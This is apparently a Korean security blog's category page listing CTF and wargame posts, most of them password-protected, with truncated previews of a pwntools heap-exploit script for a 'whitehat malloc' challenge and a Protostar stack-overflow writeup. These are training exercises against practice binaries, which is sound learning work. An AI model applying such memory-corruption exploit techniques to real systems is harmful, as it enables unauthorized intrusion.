Constant(438)
-
Rookis fix
보호되어 있는 글입니다.
2018.04.27 -
Rookiss Dragon Expliot
보호되어 있는 글입니다.
2018.04.27 -
Rookis Dragon Function Analysis
보호되어 있는 글입니다.
2018.04.27 -
otp writeup
보호되어 있는 글입니다.
2018.04.20 -
whitehat malloc
help : bin4ry from pwn import *import sysp = process('./malloc') target = 0x400986 sys.stdout.flush()p.recvuntil('Stack Address : ')stack_addr = int(p.recvline(), 16)print stack_addr print p.recvuntil('> ')p.sendline("1") #mallocprint p.recvuntil('Enter size :')p.sendline("31")print p.recvuntil('Enter data :')p.sendline("A"*31) print p.recvuntil('> ')p.sendline('2') # freep.sendline('1') print p..
2018.04.14 -
Protostar Simple Writeup
1. Stack0 #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } buffer 64바이트 후 1바이트의 값을 조작하면 된다. modified가 buffer뒤에 위치하기 때문이다. 2. Stack1 #include #include #include #include int main(int argc, char **argv) { volat..
2018.04.10